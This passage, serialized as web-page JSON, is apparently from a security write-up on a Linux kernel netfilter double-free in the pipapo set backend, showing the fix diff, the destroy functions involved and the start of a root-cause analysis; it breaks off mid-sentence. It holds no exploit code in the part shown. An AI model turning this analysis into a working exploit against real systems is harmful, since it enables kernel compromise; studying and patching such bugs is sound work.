b/net/netfilter/nft_set_pipapo.c\n",{"type":25,"tag":216,"props":54756,"children":54757},{"class":6916,"line":7104},[54758],{"type":25,"tag":216,"props":54759,"children":54760},{"style":6958},[54761],{"type":31,"value":54762},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":25,"tag":216,"props":54764,"children":54765},{"class":6916,"line":7210},[54766],{"type":25,"tag":216,"props":54767,"children":54768},{"emptyLinePlaceholder":16},[54769],{"type":31,"value":7636},{"type":25,"tag":216,"props":54771,"children":54772},{"class":6916,"line":7238},[54773],{"type":25,"tag":216,"props":54774,"children":54775},{"style":6958},[54776],{"type":31,"value":54777},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":25,"tag":216,"props":54779,"children":54780},{"class":6916,"line":7251},[54781],{"type":25,"tag":216,"props":54782,"children":54783},{"emptyLinePlaceholder":16},[54784],{"type":31,"value":7636},{"type":25,"tag":216,"props":54786,"children":54787},{"class":6916,"line":7269},[54788],{"type":25,"tag":216,"props":54789,"children":54790},{"style":6958},[54791],{"type":31,"value":54792},"  if (m) {\n",{"type":25,"tag":216,"props":54794,"children":54795},{"class":6916,"line":7290},[54796],{"type":25,"tag":216,"props":54797,"children":54798},{"style":6958},[54799],{"type":31,"value":54800},"   rcu_barrier();\n",{"type":25,"tag":216,"props":54802,"children":54803},{"class":6916,"line":7299},[54804],{"type":25,"tag":216,"props":54805,"children":54806},{"style":6958},[54807],{"type":31,"value":54808}," \n",{"type":25,"tag":216,"props":54810,"children":54811},{"class":6916,"line":7551},[54812],{"type":25,"tag":216,"props":54813,"children":54814},{"style":8199},[54815],{"type":31,"value":54816},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":25,"tag":216,"props":54818,"children":54819},{"class":6916,"line":7568},[54820],{"type":25,"tag":216,"props":54821,"children":54822},{"style":8199},[54823],{"type":31,"value":54824},"-\n",{"type":25,"tag":216,"props":54826,"children":54827},{"class":6916,"line":7585},[54828],{"type":25,"tag":216,"props":54829,"children":54830},{"style":6958},[54831],{"type":31,"value":54832},"   for_each_possible_cpu(cpu)\n",{"type":25,"tag":216,"props":54834,"children":54835},{"class":6916,"line":7598},[54836],{"type":25,"tag":216,"props":54837,"children":54838},{"style":6958},[54839],{"type":31,"value":54840},"    pipapo_free_scratch(m, cpu);\n",{"type":25,"tag":216,"props":54842,"children":54843},{"class":6916,"line":7607},[54844],{"type":25,"tag":216,"props":54845,"children":54846},{"style":6958},[54847],{"type":31,"value":54848},"   free_percpu(m->scratch);\n",{"type":25,"tag":216,"props":54850,"children":54851},{"class":6916,"line":7630},[54852],{"type":25,"tag":216,"props":54853,"children":54854},{"style":6958},[54855],{"type":31,"value":54856},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":25,"tag":216,"props":54858,"children":54859},{"class":6916,"line":7639},[54860],{"type":25,"tag":216,"props":54861,"children":54862},{"style":6958},[54863],{"type":31,"value":54864},"  if (priv->clone) {\n",{"type":25,"tag":216,"props":54866,"children":54867},{"class":6916,"line":7648},[54868],{"type":25,"tag":216,"props":54869,"children":54870},{"style":6958},[54871],{"type":31,"value":54872},"   m = priv->clone;\n",{"type":25,"tag":216,"props":54874,"children":54875},{"class":6916,"line":7716},[54876],{"type":25,"tag":216,"props":54877,"children":54878},{"style":6958},[54879],{"type":31,"value":54808},{"type":25,"tag":216,"props":54881,"children":54882},{"class":6916,"line":7724},[54883],{"type":25,"tag":216,"props":54884,"children":54885},{"style":8199},[54886],{"type":31,"value":54887},"-  if (priv->dirty)\n",{"type":25,"tag":216,"props":54889,"children":54890},{"class":6916,"line":7754},[54891],{"type":25,"tag":216,"props":54892,"children":54893},{"style":8199},[54894],{"type":31,"value":54895},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":25,"tag":216,"props":54897,"children":54898},{"class":6916,"line":7762},[54899],{"type":25,"tag":216,"props":54900,"children":54901},{"style":6983},[54902],{"type":31,"value":54903},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":25,"tag":216,"props":54905,"children":54906},{"class":6916,"line":7794},[54907],{"type":25,"tag":216,"props":54908,"children":54909},{"style":6958},[54910],{"type":31,"value":54808},{"type":25,"tag":216,"props":54912,"children":54913},{"class":6916,"line":7802},[54914],{"type":25,"tag":216,"props":54915,"children":54916},{"style":6958},[54917],{"type":31,"value":54832},{"type":25,"tag":216,"props":54919,"children":54920},{"class":6916,"line":7862},[54921],{"type":25,"tag":216,"props":54922,"children":54923},{"style":6958},[54924],{"type":31,"value":54925},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":25,"tag":38,"props":54927,"children":54928},{},[54929,54931,54937,54938,54944,54946,54952,54954,54960,54962,54967,54969,54975,54977,54983,54985,54991],{"type":31,"value":54930},"If the ",{"type":25,"tag":82,"props":54932,"children":54934},{"className":54933},[],[54935],{"type":31,"value":54936},"priv->dirty",{"type":31,"value":1301},{"type":25,"tag":82,"props":54939,"children":54941},{"className":54940},[],[54942],{"type":31,"value":54943},"priv->clone",{"type":31,"value":54945}," variables are set, ",{"type":25,"tag":82,"props":54947,"children":54949},{"className":54948},[],[54950],{"type":31,"value":54951},"nft_set_pipapo_match_destroy()",{"type":31,"value":54953}," is called twice, once with ",{"type":25,"tag":82,"props":54955,"children":54957},{"className":54956},[],[54958],{"type":31,"value":54959},"priv->match",{"type":31,"value":54961}," as an argument, and then again with ",{"type":25,"tag":82,"props":54963,"children":54965},{"className":54964},[],[54966],{"type":31,"value":54943},{"type":31,"value":54968},". Looking at what this function does, we can see that it is iterating over the ",{"type":25,"tag":82,"props":54970,"children":54972},{"className":54971},[],[54973],{"type":31,"value":54974},"setelem",{"type":31,"value":54976},"s of the ",{"type":25,"tag":82,"props":54978,"children":54980},{"className":54979},[],[54981],{"type":31,"value":54982},"set",{"type":31,"value":54984}," and calling ",{"type":25,"tag":82,"props":54986,"children":54988},{"className":54987},[],[54989],{"type":31,"value":54990},"nf_tables_set_elem_destroy()",{"type":31,"value":54992}," for each of them.",{"type":25,"tag":206,"props":54994,"children":54996},{"className":20467,"code":54995,"language":2248,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[54997],{"type":25,"tag":82,"props":54998,"children":54999},{"__ignoreMap":7},[55000,55047,55075,55101,55108,55129,55142,55149,55246,55254,55261,55316,55337,55344,55446,55458,55465,55501,55508,55542,55549],{"type":25,"tag":216,"props":55001,"children":55002},{"class":6916,"line":6917},[55003,55008,55013,55018,55022,55026,55030,55035,55039,55043],{"type":25,"tag":216,"props":55004,"children":55005},{"style":6930},[55006],{"type":31,"value":55007},"static",{"type":25,"tag":216,"props":55009,"children":55010},{"style":6930},[55011],{"type":31,"value":55012}," void",{"type":25,"tag":216,"props":55014,"children":55015},{"style":7041},[55016],{"type":31,"value":55017}," nft_set_pipapo_match_destroy",{"type":25,"tag":216,"props":55019,"children":55020},{"style":6958},[55021],{"type":31,"value":1844},{"type":25,"tag":216,"props":55023,"children":55024},{"style":6930},[55025],{"type":31,"value":13605},{"type":25,"tag":216,"props":55027,"children":55028},{"style":6930},[55029],{"type":31,"value":25105},{"type":25,"tag":216,"props":55031,"children":55032},{"style":6958},[55033],{"type":31,"value":55034}," nft_ctx ",{"type":25,"tag":216,"props":55036,"children":55037},{"style":6947},[55038],{"type":31,"value":8513},{"type":25,"tag":216,"props":55040,"children":55041},{"style":6941},[55042],{"type":31,"value":24234},{"type":25,"tag":216,"props":55044,"children":55045},{"style":6958},[55046],{"type":31,"value":7459},{"type":25,"tag":216,"props":55048,"children":55049},{"class":6916,"line":6763},[55050,55054,55058,55063,55067,55071],{"type":25,"tag":216,"props":55051,"children":55052},{"style":6930},[55053],{"type":31,"value":35503},{"type":25,"tag":216,"props":55055,"children":55056},{"style":6930},[55057],{"type":31,"value":25105},{"type":25,"tag":216,"props":55059,"children":55060},{"style":6958},[55061],{"type":31,"value":55062}," nft_set ",{"type":25,"tag":216,"props":55064,"children":55065},{"style":6947},[55066],{"type":31,"value":8513},{"type":25,"tag":216,"props":55068,"children":55069},{"style":6941},[55070],{"type":31,"value":54982},{"type":25,"tag":216,"props":55072,"children":55073},{"style":6958},[55074],{"type":31,"value":7459},{"type":25,"tag":216,"props":55076,"children":55077},{"class":6916,"line":6772},[55078,55083,55088,55092,55097],{"type":25,"tag":216,"props":55079,"children":55080},{"style":6930},[55081],{"type":31,"value":55082},"      struct",{"type":25,"tag":216,"props":55084,"children":55085},{"style":6958},[55086],{"type":31,"value":55087}," nft_pipapo_match ",{"type":25,"tag":216,"props":55089,"children":55090},{"style":6947},[55091],{"type":31,"value":8513},{"type":25,"tag":216,"props":55093,"children":55094},{"style":6941},[55095],{"type":31,"value":55096},"m",{"type":25,"tag":216,"props":55098,"children":55099},{"style":6958},[55100],{"type":31,"value":7101},{"type":25,"tag":216,"props":55102,"children":55103},{"class":6916,"line":6999},[55104],{"type":25,"tag":216,"props":55105,"children":55106},{"style":6958},[55107],{"type":31,"value":14830},{"type":25,"tag":216,"props":55109,"children":55110},{"class":6916,"line":7104},[55111,55115,55120,55124],{"type":25,"tag":216,"props":55112,"children":55113},{"style":6930},[55114],{"type":31,"value":25105},{"type":25,"tag":216,"props":55116,"children":55117},{"style":6958},[55118],{"type":31,"value":55119}," nft_pipapo_field ",{"type":25,"tag":216,"props":55121,"children":55122},{"style":6947},[55123],{"type":31,"value":8513},{"type":25,"tag":216,"props":55125,"children":55126},{"style":6958},[55127],{"type":31,"value":55128},"f;\n",{"type":25,"tag":216,"props":55130,"children":55131},{"class":6916,"line":7210},[55132,55137],{"type":25,"tag":216,"props":55133,"children":55134},{"style":6930},[55135],{"type":31,"value":55136}," int",{"type":25,"tag":216,"props":55138,"children":55139},{"style":6958},[55140],{"type":31,"value":55141}," i, r;\n",{"type":25,"tag":216,"props":55143,"children":55144},{"class":6916,"line":7238},[55145],{"type":25,"tag":216,"props":55146,"children":55147},{"emptyLinePlaceholder":16},[55148],{"type":31,"value":7636},{"type":25,"tag":216,"props":55150,"children":55151},{"class":6916,"line":7251},[55152,55157,55162,55166,55170,55175,55179,55184,55188,55192,55197,55201,55205,55209,55214,55219,55223,55228,55233,55238,55242],{"type":25,"tag":216,"props":55153,"children":55154},{"style":6967},[55155],{"type":31,"value":55156}," for",{"type":25,"tag":216,"props":55158,"children":55159},{"style":6958},[55160],{"type":31,"value":55161}," (i ",{"type":25,"tag":216,"props":55163,"children":55164},{"style":6947},[55165],{"type":31,"value":266},{"type":25,"tag":216,"props":55167,"children":55168},{"style":6983},[55169],{"type":31,"value":6986},{"type":25,"tag":216,"props":55171,"children":55172},{"style":6958},[55173],{"type":31,"value":55174},", f ",{"type":25,"tag":216,"props":55176,"children":55177},{"style":6947},[55178],{"type":31,"value":266},{"type":25,"tag":216,"props":55180,"children":55181},{"style":6941},[55182],{"type":31,"value":55183}," m",{"type":25,"tag":216,"props":55185,"children":55186},{"style":6958},[55187],{"type":31,"value":17708},{"type":25,"tag":216,"props":55189,"children":55190},{"style":6941},[55191],{"type":31,"value":37041},{"type":25,"tag":216,"props":55193,"children":55194},{"style":6958},[55195],{"type":31,"value":55196},"; i ",{"type":25,"tag":216,"props":55198,"children":55199},{"style":6947},[55200],{"type":31,"value":9751},{"type":25,"tag":216,"props":55202,"children":55203},{"style":6941},[55204],{"type":31,"value":55183},{"type":25,"tag":216,"props":55206,"children":55207},{"style":6958},[55208],{"type":31,"value":17708},{"type":25,"tag":216,"props":55210,"children":55211},{"style":6941},[55212],{"type":31,"value":55213},"field_count",{"type":25,"tag":216,"props":55215,"children":55216},{"style":6947},[55217],{"type":31,"value":55218}," -",{"type":25,"tag":216,"props":55220,"children":55221},{"style":6983},[55222],{"type":31,"value":8465},{"type":25,"tag":216,"props":55224,"children":55225},{"style":6958},[55226],{"type":31,"value":55227},"; i",{"type":25,"tag":216,"props":55229,"children":55230},{"style":6947},[55231],{"type":31,"value":55232},"++",{"type":25,"tag":216,"props":55234,"children":55235},{"style":6958},[55236],{"type":31,"value":55237},", f",{"type":25,"tag":216,"props":55239,"children":55240},{"style":6947},[55241],{"type":31,"value":55232},{"type":25,"tag":216,"props":55243,"children":55244},{"style":6958},[55245],{"type":31,"value":7101},{"type":25,"tag":216,"props":55247,"children":55248},{"class":6916,"line":7269},[55249],{"type":25,"tag":216,"props":55250,"children":55251},{"style":6958},[55252],{"type":31,"value":55253},"  ;\n",{"type":25,"tag":216,"props":55255,"children":55256},{"class":6916,"line":7290},[55257],{"type":25,"tag":216,"props":55258,"children":55259},{"emptyLinePlaceholder":16},[55260],{"type":31,"value":7636},{"type":25,"tag":216,"props":55262,"children":55263},{"class":6916,"line":7299},[55264,55268,55273,55277,55281,55286,55290,55294,55298,55303,55308,55312],{"type":25,"tag":216,"props":55265,"children":55266},{"style":6967},[55267],{"type":31,"value":55156},{"type":25,"tag":216,"props":55269,"children":55270},{"style":6958},[55271],{"type":31,"value":55272}," (r ",{"type":25,"tag":216,"props":55274,"children":55275},{"style":6947},[55276],{"type":31,"value":266},{"type":25,"tag":216,"props":55278,"children":55279},{"style":6983},[55280],{"type":31,"value":6986},{"type":25,"tag":216,"props":55282,"children":55283},{"style":6958},[55284],{"type":31,"value":55285},"; r ",{"type":25,"tag":216,"props":55287,"children":55288},{"style":6947},[55289],{"type":31,"value":9751},{"type":25,"tag":216,"props":55291,"children":55292},{"style":6941},[55293],{"type":31,"value":36927},{"type":25,"tag":216,"props":55295,"children":55296},{"style":6958},[55297],{"type":31,"value":17708},{"type":25,"tag":216,"props":55299,"children":55300},{"style":6941},[55301],{"type":31,"value":55302},"rules",{"type":25,"tag":216,"props":55304,"children":55305},{"style":6958},[55306],{"type":31,"value":55307},"; r",{"type":25,"tag":216,"props":55309,"children":55310},{"style":6947},[55311],{"type":31,"value":55232},{"type":25,"tag":216,"props":55313,"children":55314},{"style":6958},[55315],{"type":31,"value":18755},{"type":25,"tag":216,"props":55317,"children":55318},{"class":6916,"line":7551},[55319,55323,55328,55332],{"type":25,"tag":216,"props":55320,"children":55321},{"style":6930},[55322],{"type":31,"value":9741},{"type":25,"tag":216,"props":55324,"children":55325},{"style":6958},[55326],{"type":31,"value":55327}," nft_pipapo_elem ",{"type":25,"tag":216,"props":55329,"children":55330},{"style":6947},[55331],{"type":31,"value":8513},{"type":25,"tag":216,"props":55333,"children":55334},{"style":6958},[55335],{"type":31,"value":55336},"e;\n",{"type":25,"tag":216,"props":55338,"children":55339},{"class":6916,"line":7568},[55340],{"type":25,"tag":216,"props":55341,"children":55342},{"emptyLinePlaceholder":16},[55343],{"type":31,"value":7636},{"type":25,"tag":216,"props":55345,"children":55346},{"class":6916,"line":7585},[55347,55351,55355,55359,55363,55367,55371,55375,55379,55383,55387,55391,55396,55401,55405,55409,55413,55417,55421,55425,55429,55433,55438,55442],{"type":25,"tag":216,"props":55348,"children":55349},{"style":6967},[55350],{"type":31,"value":35350},{"type":25,"tag":216,"props":55352,"children":55353},{"style":6958},[55354],{"type":31,"value":55272},{"type":25,"tag":216,"props":55356,"children":55357},{"style":6947},[55358],{"type":31,"value":9751},{"type":25,"tag":216,"props":55360,"children":55361},{"style":6941},[55362],{"type":31,"value":36927},{"type":25,"tag":216,"props":55364,"children":55365},{"style":6958},[55366],{"type":31,"value":17708},{"type":25,"tag":216,"props":55368,"children":55369},{"style":6941},[55370],{"type":31,"value":55302},{"type":25,"tag":216,"props":55372,"children":55373},{"style":6947},[55374],{"type":31,"value":55218},{"type":25,"tag":216,"props":55376,"children":55377},{"style":6983},[55378],{"type":31,"value":8465},{"type":25,"tag":216,"props":55380,"children":55381},{"style":6947},[55382],{"type":31,"value":18136},{"type":25,"tag":216,"props":55384,"children":55385},{"style":6941},[55386],{"type":31,"value":36927},{"type":25,"tag":216,"props":55388,"children":55389},{"style":6958},[55390],{"type":31,"value":17708},{"type":25,"tag":216,"props":55392,"children":55393},{"style":6941},[55394],{"type":31,"value":55395},"mt",{"type":25,"tag":216,"props":55397,"children":55398},{"style":6958},[55399],{"type":31,"value":55400},"[r ",{"type":25,"tag":216,"props":55402,"children":55403},{"style":6947},[55404],{"type":31,"value":3533},{"type":25,"tag":216,"props":55406,"children":55407},{"style":6983},[55408],{"type":31,"value":8465},{"type":25,"tag":216,"props":55410,"children":55411},{"style":6958},[55412],{"type":31,"value":54311},{"type":25,"tag":216,"props":55414,"children":55415},{"style":6941},[55416],{"type":31,"value":2393},{"type":25,"tag":216,"props":55418,"children":55419},{"style":6947},[55420],{"type":31,"value":7226},{"type":25,"tag":216,"props":55422,"children":55423},{"style":6941},[55424],{"type":31,"value":36927},{"type":25,"tag":216,"props":55426,"children":55427},{"style":6958},[55428],{"type":31,"value":17708},{"type":25,"tag":216,"props":55430,"children":55431},{"style":6941},[55432],{"type":31,"value":55395},{"type":25,"tag":216,"props":55434,"children":55435},{"style":6958},[55436],{"type":31,"value":55437},"[r].",{"type":25,"tag":216,"props":55439,"children":55440},{"style":6941},[55441],{"type":31,"value":2393},{"type":25,"tag":216,"props":55443,"children":55444},{"style":6958},[55445],{"type":31,"value":7101},{"type":25,"tag":216,"props":55447,"children":55448},{"class":6916,"line":7598},[55449,55454],{"type":25,"tag":216,"props":55450,"children":55451},{"style":6967},[55452],{"type":31,"value":55453},"   continue",{"type":25,"tag":216,"props":55455,"children":55456},{"style":6958},[55457],{"type":31,"value":6961},{"type":25,"tag":216,"props":55459,"children":55460},{"class":6916,"line":7607},[55461],{"type":25,"tag":216,"props":55462,"children":55463},{"emptyLinePlaceholder":16},[55464],{"type":31,"value":7636},{"type":25,"tag":216,"props":55466,"children":55467},{"class":6916,"line":7630},[55468,55473,55477,55481,55485,55489,55493,55497],{"type":25,"tag":216,"props":55469,"children":55470},{"style":6958},[55471],{"type":31,"value":55472},"  e ",{"type":25,"tag":216,"props":55474,"children":55475},{"style":6947},[55476],{"type":31,"value":266},{"type":25,"tag":216,"props":55478,"children":55479},{"style":6941},[55480],{"type":31,"value":36927},{"type":25,"tag":216,"props":55482,"children":55483},{"style":6958},[55484],{"type":31,"value":17708},{"type":25,"tag":216,"props":55486,"children":55487},{"style":6941},[55488],{"type":31,"value":55395},{"type":25,"tag":216,"props":55490,"children":55491},{"style":6958},[55492],{"type":31,"value":55437},{"type":25,"tag":216,"props":55494,"children":55495},{"style":6941},[55496],{"type":31,"value":2393},{"type":25,"tag":216,"props":55498,"children":55499},{"style":6958},[55500],{"type":31,"value":6961},{"type":25,"tag":216,"props":55502,"children":55503},{"class":6916,"line":7639},[55504],{"type":25,"tag":216,"props":55505,"children":55506},{"emptyLinePlaceholder":16},[55507],{"type":31,"value":7636},{"type":25,"tag":216,"props":55509,"children":55510},{"class":6916,"line":7648},[55511,55516,55521,55525,55529,55533,55538],{"type":25,"tag":216,"props":55512,"children":55513},{"style":7041},[55514],{"type":31,"value":55515},"  nf_tables_set_elem_destroy",{"type":25,"tag":216,"props":55517,"children":55518},{"style":6958},[55519],{"type":31,"value":55520},"(ctx, set, ",{"type":25,"tag":216,"props":55522,"children":55523},{"style":6947},[55524],{"type":31,"value":7053},{"type":25,"tag":216,"props":55526,"children":55527},{"style":6941},[55528],{"type":31,"value":2393},{"type":25,"tag":216,"props":55530,"children":55531},{"style":6958},[55532],{"type":31,"value":17708},{"type":25,"tag":216,"props":55534,"children":55535},{"style":6941},[55536],{"type":31,"value":55537},"priv",{"type":25,"tag":216,"props":55539,"children":55540},{"style":6958},[55541],{"type":31,"value":7791},{"type":25,"tag":216,"props":55543,"children":55544},{"class":6916,"line":7716},[55545],{"type":25,"tag":216,"props":55546,"children":55547},{"style":6958},[55548],{"type":31,"value":13546},{"type":25,"tag":216,"props":55550,"children":55551},{"class":6916,"line":7724},[55552],{"type":25,"tag":216,"props":55553,"children":55554},{"style":6958},[55555],{"type":31,"value":7868},{"type":25,"tag":38,"props":55557,"children":55558},{},[55559,55561,55567,55569,55574],{"type":31,"value":55560},"Which will then ",{"type":25,"tag":82,"props":55562,"children":55564},{"className":55563},[],[55565],{"type":31,"value":55566},"kfree()",{"type":31,"value":55568}," the ",{"type":25,"tag":82,"props":55570,"children":55572},{"className":55571},[],[55573],{"type":31,"value":54974},{"type":31,"value":179},{"type":25,"tag":206,"props":55576,"children":55578},{"className":20467,"code":55577,"language":2248,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[55579],{"type":25,"tag":82,"props":55580,"children":55581},{"__ignoreMap":7},[55582,55623,55651,55680,55687,55722,55729,55750,55773,55780,55793],{"type":25,"tag":216,"props":55583,"children":55584},{"class":6916,"line":6917},[55585,55590,55595,55599,55603,55607,55611,55615,55619],{"type":25,"tag":216,"props":55586,"children":55587},{"style":6930},[55588],{"type":31,"value":55589},"void",{"type":25,"tag":216,"props":55591,"children":55592},{"style":7041},[55593],{"type":31,"value":55594}," nf_tables_set_elem_destroy",{"type":25,"tag":216,"props":55596,"children":55597},{"style":6958},[55598],{"type":31,"value":1844},{"type":25,"tag":216,"props":55600,"children":55601},{"style":6930},[55602],{"type":31,"value":13605},{"type":25,"tag":216,"props":55604,"children":55605},{"style":6930},[55606],{"type":31,"value":25105},{"type":25,"tag":216,"props":55608,"children":55609},{"style":6958},[55610],{"type":31,"value":55034},{"type":25,"tag":216,"props":55612,"children":55613},{"style":6947},[55614],{"type":31,"value":8513},{"type":25,"tag":216,"props":55616,"children":55617},{"style":6941},[55618],{"type":31,"value":24234},{"type":25,"tag":216,"props":55620,"children":55621},{"style":6958},[55622],{"type":31,"value":7459},{"type":25,"tag":216,"props":55624,"children":55625},{"class":6916,"line":6763},[55626,55631,55635,55639,55643,55647],{"type":25,"tag":216,"props":55627,"children":55628},{"style":6930},[55629],{"type":31,"value":55630},"    const",{"type":25,"tag":216,"props":55632,"children":55633},{"style":6930},[55634],{"type":31,"value":25105},{"type":25,"tag":216,"props":55636,"children":55637},{"style":6958},[55638],{"type":31,"value":55062},{"type":25,"tag":216,"props":55640,"children":55641},{"style":6947},[55642],{"type":31,"value":8513},{"type":25,"tag":216,"props":55644,"children":55645},{"style":6941},[55646],{"type":31,"value":54982},{"type":25,"tag":216,"props":55648,"children":55649},{"style":6958},[55650],{"type":31,"value":7459},{"type":25,"tag":216,"props":55652,"children":55653},{"class":6916,"line":6772},[55654,55658,55662,55667,55671,55676],{"type":25,"tag":216,"props":55655,"children":55656},{"style":6930},[55657],{"type":31,"value":55630},{"type":25,"tag":216,"props":55659,"children":55660},{"style":6930},[55661],{"type":31,"value":25105},{"type":25,"tag":216,"props":55663,"children":55664},{"style":6958},[55665],{"type":31,"value":55666}," nft_elem_priv ",{"type":25,"tag":216,"props":55668,"children":55669},{"style":6947},[55670],{"type":31,"value":8513},{"type":25,"tag":216,"props":55672,"children":55673},{"style":6941},[55674],{"type":31,"value":55675},"elem_priv",{"type":25,"tag":216,"props":55677,"children":55678},{"style":6958},[55679],{"type":31,"value":7101},{"type":25,"tag":216,"props":55681,"children":55682},{"class":6916,"line":6999},[55683],{"type":25,"tag":216,"props":55684,"children":55685},{"style":6958},[55686],{"type":31,"value":14830},{"type":25,"tag":216,"props":55688,"children":55689},{"class":6916,"line":7104},[55690,55694,55699,55703,55708,55712,55717],{"type":25,"tag":216,"props":55691,"children":55692},{"style":6930},[55693],{"type":31,"value":25105},{"type":25,"tag":216,"props":55695,"children":55696},{"style":6958},[55697],{"type":31,"value":55698}," nft_set_ext ",{"type":25,"tag":216,"props":55700,"children":55701},{"style":6947},[55702],{"type":31,"value":8513},{"type":25,"tag":216,"props":55704,"children":55705},{"style":6958},[55706],{"type":31,"value":55707},"ext ",{"type":25,"tag":216,"props":55709,"children":55710},{"style":6947},[55711],{"type":31,"value":266},{"type":25,"tag":216,"props":55713,"children":55714},{"style":7041},[55715],{"type":31,"value":55716}," nft_set_elem_ext",{"type":25,"tag":216,"props":55718,"children":55719},{"style":6958},[55720],{"type":31,"value":55721},"(set, elem_priv);\n",{"type":25,"tag":216,"props":55723,"children":55724},{"class":6916,"line":7210},[55725],{"type":25,"tag":216,"props":55726,"children":55727},{"emptyLinePlaceholder":16},[55728],{"type":31,"value":7636},{"type":25,"tag":216,"props":55730,"children":55731},{"class":6916,"line":7238},[55732,55736,55740,55745],{"type":25,"tag":216,"props":55733,"children":55734},{"style":6967},[55735],{"type":31,"value":19740},{"type":25,"tag":216,"props":55737,"children":55738},{"style":6958},[55739],{"type":31,"value":7010},{"type":25,"tag":216,"props":55741,"children":55742},{"style":7041},[55743],{"type":31,"value":55744},"nft_set_ext_exists",{"type":25,"tag":216,"props":55746,"children":55747},{"style":6958},[55748],{"type":31,"value":55749},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":25,"tag":216,"props":55751,"children":55752},{"class":6916,"line":7251},[55753,55758,55763,55768],{"type":25,"tag":216,"props":55754,"children":55755},{"style":7041},[55756],{"type":31,"value":55757},"  nft_set_elem_expr_destroy",{"type":25,"tag":216,"props":55759,"children":55760},{"style":6958},[55761],{"type":31,"value":55762},"(ctx, ",{"type":25,"tag":216,"props":55764,"children":55765},{"style":7041},[55766],{"type":31,"value":55767},"nft_set_ext_expr",{"type":25,"tag":216,"props":55769,"children":55770},{"style":6958},[55771],{"type":31,"value":55772},"(ext));\n",{"type":25,"tag":216,"props":55774,"children":55775},{"class":6916,"line":7269},[55776],{"type":25,"tag":216,"props":55777,"children":55778},{"emptyLinePlaceholder":16},[55779],{"type":31,"value":7636},{"type":25,"tag":216,"props":55781,"children":55782},{"class":6916,"line":7290},[55783,55788],{"type":25,"tag":216,"props":55784,"children":55785},{"style":7041},[55786],{"type":31,"value":55787}," kfree",{"type":25,"tag":216,"props":55789,"children":55790},{"style":6958},[55791],{"type":31,"value":55792},"(elem_priv);\n",{"type":25,"tag":216,"props":55794,"children":55795},{"class":6916,"line":7299},[55796],{"type":25,"tag":216,"props":55797,"children":55798},{"style":6958},[55799],{"type":31,"value":7868},{"type":25,"tag":38,"props":55801,"children":55802},{},[55803,55804,55810,55812,55817,55819,55824,55826,55831,55832,55837,55839,55844,55846,55851,55853,55858],{"type":31,"value":474},{"type":25,"tag":82,"props":55805,"children":55807},{"className":55806},[],[55808],{"type":31,"value":55809},"nft_pipapo_match",{"type":31,"value":55811}," objects contain views of the ",{"type":25,"tag":82,"props":55813,"children":55815},{"className":55814},[],[55816],{"type":31,"value":54974},{"type":31,"value":55818},"'s of a ",{"type":25,"tag":82,"props":55820,"children":55822},{"className":55821},[],[55823],{"type":31,"value":54982},{"type":31,"value":55825},". The difference between the ",{"type":25,"tag":82,"props":55827,"children":55829},{"className":55828},[],[55830],{"type":31,"value":54959},{"type":31,"value":1301},{"type":25,"tag":82,"props":55833,"children":55835},{"className":55834},[],[55836],{"type":31,"value":54943},{"type":31,"value":55838}," match objects is that the clone has a view of not only already committed ",{"type":25,"tag":82,"props":55840,"children":55842},{"className":55841},[],[55843],{"type":31,"value":54974},{"type":31,"value":55845},"'s that the \"normal\" one has but also a view of the ",{"type":25,"tag":82,"props":55847,"children":55849},{"className":55848},[],[55850],{"type":31,"value":54974},{"type":31,"value":55852},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":25,"tag":82,"props":55854,"children":55856},{"className":55855},[],[55857],{"type":31,"value":54959},{"type":31,"value":179},{"type":25,"tag":607,"props":55860,"children":55862},{"id":55861},"root-cause-analysis",[55863],{"type":31,"value":55864},"Root-cause analysis",{"type":25,"tag":38,"props":55866,"children":55867},{},[55868,55870,55876,55878,55883],{"type":31,"value":55869},"So ",{"type":25,"tag":82,"props":55871,"children":55873},{"className":55872},[],[55874],{"type":31,"value":55875},"nf_tables_set_elem_destroy",{"type":31,"value":55877}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":25,"tag":82,"props":55879,"children":55881},{"className":55880},[],[55882],{"type":31,"value":54974},{"type":31,"value":55884},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":25,"tag":38,"props":55886,"children":55887},{},[55888,55890,55895,55897,55902,55904,55909,55911,55916,55918,55923],{"type":31,"value":55889},"We should now try to understand how to reach that path with the ",{"type":25,"tag":82,"props":55891,"children":55893},{"className":55892},[],[55894],{"type":31,"value":54936},{"type":31,"value":55896}," flag set, which is a member of the private data of a pipapo ",{"type":25,"tag":82,"props":55898,"children":55900},{"className":55899},[],[55901],{"type":31,"value":54974},{"type":31,"value":55903}," that becomes true whenever a change is made to the ",{"type":25,"tag":82,"props":55905,"children":55907},{"className":55906},[],[55908],{"type":31,"value":54982},{"type":31,"value":55910}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":25,"tag":82,"props":55912,"children":55914},{"className":55913},[],[55915],{"type":31,"value":54982},{"type":31,"value":55917}," has changes that have to be committed. If we refer to the code, we see that we can make 